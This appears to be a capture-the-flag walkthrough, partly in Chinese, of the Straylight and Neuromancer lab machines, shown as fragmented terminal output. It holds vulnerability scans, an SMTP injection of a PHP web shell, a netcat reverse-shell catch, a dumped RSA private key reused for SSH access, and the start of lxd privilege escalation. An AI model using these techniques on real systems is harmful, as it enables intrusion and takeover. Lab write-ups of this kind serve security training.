root@kali:~# nmap -p- -sV -Pn -T5 -v -A --script=vuln 192.168.56.111 PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_clamav-exec: ERROR: Script execution failed (use -d to debug) | smtp-vuln-cve2010-4344: |_ The SMTP server is not Exim: NOT VULNERABLE | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 2048 | Generator Length: 8 | Public Key Length: 2048 | References: |_ https://www.ietf.org/rfc/rfc2246.txt |_sslv2-drown: 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /manual/: Potentially interesting folder |_http-server-header: Apache/2.4.25 (Debian) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3000/tcp open http Mongoose httpd |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.111 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.111:3000/ | Form id: |_ Form action: /authorize.html |_http-dombased-xss: Couldn't find any DOM based XSS. | http-fileupload-exploiter: | |_ Couldn't find a file-type field. |_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug) |_http-passwd: ERROR: Script execution failed (use -d to debug) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-trane-info: Problem with XML parsing of /evox/about | http-vuln-cve2010-0738: |_ /jmx-console/: Authentication was not required
root@kali:~# telnet 192.168.56.111 25 Trying 192.168.56.111... Connected to 192.168.56.111. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) HELO hack.com 250 straylight MAIL FROM: hacker@hack.com 250 2.1.0 Ok RCPT TO: wintermute@localhost.com 454 4.7.1 <wintermute@localhost.com>: Relay access denied RCPT TO: wintermute 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> subject: <?php system($_REQUEST['luci']); ?> hacked!! . 250 2.0.0 Ok: queued as EC8E454D7 quit 221 2.0.0 Bye Connection closed by foreign host.
root@kali:~# nc -lvp 9999 listening on [any] 9999 ... 192.168.56.109: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.109] 48508 bash: cannot set terminal process group (771): Inappropriate ioctl for device bash: no job control in this shell www-data@straylight:/var/www/html/turing-bolo$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@straylight:/var/www/html/turing-bolo$ whoami whoami www-data
# cd /root cd /root # ls ls flag.txt note.txt scripts # cat note.txt cat note.txt Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI. The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here: /struts2_2.3.15.1-showcase It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing. Regards, Bob Laugh Turing Systems Engineer II Freeside//Straylight//Ops5 # cat flag.txt cat flag.txt 5ed185fd75a8d6a7056c96a436c6d8aa
# arp -a arp -a ? (192.168.56.102) at 00:0c:29:70:75:41 [ether] on enp0s8 ? (192.168.56.110) at 08:00:27:de:b9:3d [ether] on enp0s8 ? (192.168.56.1) at 0a:00:27:00:00:19 [ether] on enp0s8 ? (192.168.56.100) at 08:00:27:25:3d:8a [ether] on enp0s8
root@kali:~# nmap -sV -v -p 8009,8080,34483 -Pn -A --script=vuln 192.168.56.110 PORT STATE SERVICE VERSION 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_clamav-exec: ERROR: Script execution failed (use -d to debug) 8080/tcp open http Apache Tomcat 9.0.0.M26 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /examples/: Sample scripts | /manager/html/upload: Apache Tomcat (401 ) | /manager/html: Apache Tomcat (401 ) |_ /docs/: Potentially interesting folder | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 34483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug)
$ cat ai-gui-guide.txt Application for Neuromancer remote access interface includes:
-Maven - /opt/ -Java jdk - /usr/lib/jvm/ -Tomcat - /usr/local/tomcat/ -Struts2 - /home/ta/myWebApp/ - war files are in /root. Update these ASAP to improve security.
Reduce installation of apps to ONLY what's needed, seucure configurations and follow app security best practices.
root@kali:~# ssh lady3jane@192.168.56.110 -p 34483 ---------------------------------------------------------------- | Neuromancer Secure Remote Access | | UNAUTHORIZED ACCESS will be investigated by the Turing Police | ---------------------------------------------------------------- lady3jane@192.168.56.110's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 94 packages can be updated. 44 updates are security updates. Last login: Wed Jan 15 23:19:21 2020 from 192.168.56.102 lady3jane@neuromancer:~$ id uid=1001(lady3jane) gid=1001(lady3jane) groups=1001(lady3jane) lady3jane@neuromancer:~$ whoami lady3jane
现在，在lady3jane的主目录中，有一个文件可能每隔几分钟就会由cron执行一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
lady3jane@neuromancer:~$ cat custom-tomcat-chk.sh #!/bin/bash # Health check for Neuromancer (root) to execute every 3 minutes. # ..the AI tells me it can maintain security, server health, etc w/o forced intervention, # but I beg to differ...hence the cron script.
root@neuromancer:/root# crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command
$ whoami ta $ mkdir .ssh $ ls -la total 60 drwxr-xr-x 7 ta ta 4096 Jan 18 20:57 . drwxr-xr-x 4 root root 4096 Jul 1 2018 .. -rw-rw-r-- 1 ta ta 352 Jul 1 2018 ai-gui-guide.txt -rw------- 1 ta ta 54 Jul 3 2018 .bash_history -rw-r--r-- 1 ta ta 220 May 18 2018 .bash_logout -rw-r--r-- 1 ta ta 3900 May 18 2018 .bashrc drwx------ 2 ta ta 4096 May 18 2018 .cache drwxrwxr-x 3 ta ta 4096 May 18 2018 .m2 drwxrwxr-x 4 ta ta 4096 May 18 2018 myWebApp drwxrwxr-x 2 ta ta 4096 May 18 2018 .oracle_jre_usage -rw-r--r-- 1 ta ta 655 May 18 2018 .profile drwxr-x--- 2 ta ta 4096 Jan 18 20:57 .ssh -rw-r----- 1 ta ta 82 May 18 2018 velocity.log -rw------- 1 ta ta 4538 Jul 1 2018 .viminfo $ cd .ssh $ ls $ ssh-keygen Generating public/private rsa key pair. Enter file inwhich to save the key (/home/ta/.ssh/id_rsa): Enter passphrase (empty for no passphrase): 123456 Enter same passphrase again: 123456 Your identification has been saved in /home/ta/.ssh/id_rsa. Your public key has been saved in /home/ta/.ssh/id_rsa.pub. The key fingerprint is: SHA256:/gzcDUYz+IUYLOPtla+IXjSlx8Mmfc9cHvH0794Ptys ta@neuromancer The key's randomart image is: +---[RSA 2048]----+ | .. | | o .+ . | | . +o *.. ..| | . .Oo+ .+| | .S.@.. .+| | +.B =.+ oo| | .=.... = +| | ...+. E +o| | .. o .+B| +----[SHA256]-----+ $ ls -la total 16 drwxr-x--- 2 ta ta 4096 Jan 18 21:00 . drwxr-xr-x 7 ta ta 4096 Jan 18 20:57 .. -rw------- 1 ta ta 1766 Jan 18 21:00 id_rsa -rw-r----- 1 ta ta 396 Jan 18 21:00 id_rsa.pub $ cp id_rsa.pub authorized_keys $ ls authorized_keys id_rsa id_rsa.pub $ chmod 400 * $ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer $ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer $ cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,0A0CA4D74B1C05FCDEC9F8FAE18EFB6D w38r/TLFNRXJBCI/BpIUgQcmqZ8tcIyIaOg5gOhBLoKgLhmQ1ghMtBghR/Uu3hY8 16Wk4Vk64miWibaNYG4aVz0XOK4Zi6u3slp8KHMZm5OARsnLRfWdBck/VSzqmv0z uI1yl0E3jJyfA+Xlxra9lxKzSi5g4Qw64q22tJzC9bNktAbVCNaV795K7m0TJaXl 5SzB6+jagE96PjwT169VyJxX0IpVHIEeVZfkO3QD9e2mcJLgassz3fG+YlU6vQVV O4IZnXu/pPjYSFeLyVwcasHsgWsxqRsPne7J88l8gBVFswFjLVnCLW55i14le1bk 82/BHH+3Y6zAkjueFA4/ggFKKU0kRlXQXdFMNhxH9gc3+gANeIK+qXfypx2+3keC d6wplIaFtzt9npQh3vJnXPF4l6dWCOYAK8FqoGgcbB8qDOz5/j1qxHHo3P8mWyVP X0wK7UzwBg8nIe3JjKtFPfSpgiNtNGai5GCvJlt7c9Wtxd1HcIFcUrCDeAb9ijMm zzTLNdkae/677ErzfQfEeA24u21DyQoIP0MUM0ICa3Qjr5uXa1RnNq38pYfi338X kKwHqJQCxm43HLoQIoMQIRYTN49W3wLMdnH7oF40nT6ktJuC9zlzilV+JxcRODgc eUFoKag5y2/wR8yeLeUiDgxUzL441ThkYGa2jaULRoVehDgAUXrQEEkzY/OM8/G1 50MJAMEKJU17TDjTtjIy6ymtKPTxohezKvBwjgQmR6eGin32i6iIs38jag8jqape 0MIRzOO3gfod8FXaJMp282gebGhLwWeowjogzfyKQzwIQxkldVVOO1caJWuBczNd JMKT7F1zoClpEg9YFyPMnkQtoNwjuGs6KtFgpt5yz/8j5jy0uiSaiLlvrOYtDDli 0AEjTlDPbzEQgKhdjdwiPm0ClJoXHIgg35mjwTwfxmFvNL2XJlunm2fDcooDbM3o 2KIzsa5kFEFbvPkP1Cym4RrTRkXv55XfRZHBk5/DBICmez6pkaC1A+W0vfyTX70z wJrvoUHdENdQIHESb8hrAmqZXjSNsBB1WEKHcN39v/iufxMMk0Dei2Ca5VgTfyfB lwtrdtV3YPhNT4v+2FhibKIaILIVS0oWU9IAzAHNPMt+GFXo3QRtFJmprJc8AVzf 3guFhYesZZVmzNRDcuhZuQmY54YaCc0VFEBLwoaIn5Y33zPO274IICw0IXzm4Nmm QttHWLl9IcbVVOkkmnuvNcKZ8kdcZ24zZGXD+2bV/+VQHFanSXjEDdzeYDUjRiiK va7jEa8wb5/mHOJFRTeYBiuLY1H239HedvycPRfHyA1Hq3q3+7c1JJVxiVdOr3zO gM22fIaExHxjRdf0L06sht1SC9Le4d6oc5mhFjmk4h+DyorOyWuaC8xBUatE+slF OxerKC2CdDFCrx9+8jQmix0KSfePhYC4loiQ+tS6Bp8YtiOGOmlZ+2sCa0wf7inN sOLukUtHENuU720fPxEurnbCDG4QKk4Szvea61UkOrEF15x0PO42YSCz7QtHdLeG hiHhVK28l9FeRekPEdOUou1tjiiVvEUUNi99YJsOroTNfiHy6RjmcA+BWFOIfHrY -----END RSA PRIVATE KEY-----
kali端运行
1 2 3 4 5 6
root@kali:~# cd .ssh root@kali:~/.ssh# ls known_hosts root@kali:~/.ssh# touch id_rsa root@kali:~/.ssh# nano id_rsa (将ta用户中的id_rsa中的值拷贝进来) root@kali:~/.ssh# chmod 400 *
94 packages can be updated. 44 updates are security updates.
Last login: Tue Jul 3 21:53:25 2018 ta@neuromancer:~$ id uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) ta@neuromancer:~$ whoami ta
ta@neuromancer:~$ groups ta adm cdrom dip plugdev lxd lpadmin sambashare
看到是对lxd的引用,这是Ubunutu的容器技术-Docker的替代方法,我做了一些研究，发现“Booj”写的一篇很棒的文章叫做Privilege Escalation via lxd,根据本文所述，如果安装了lxd且给定用户是lxd组的成员，则它们具有与使用以下命令添加到/etc/sudoers相同的权限：
ta@neuromancer:~$ uname -a Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ta@neuromancer:~$ cat /proc/version Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
~ # cd /mnt/root /mnt/root # ls bin etc lib media proc sbin sys var boot home lib64 mnt root snap tmp vmlinuz dev initrd.img lost+found opt run srv usr
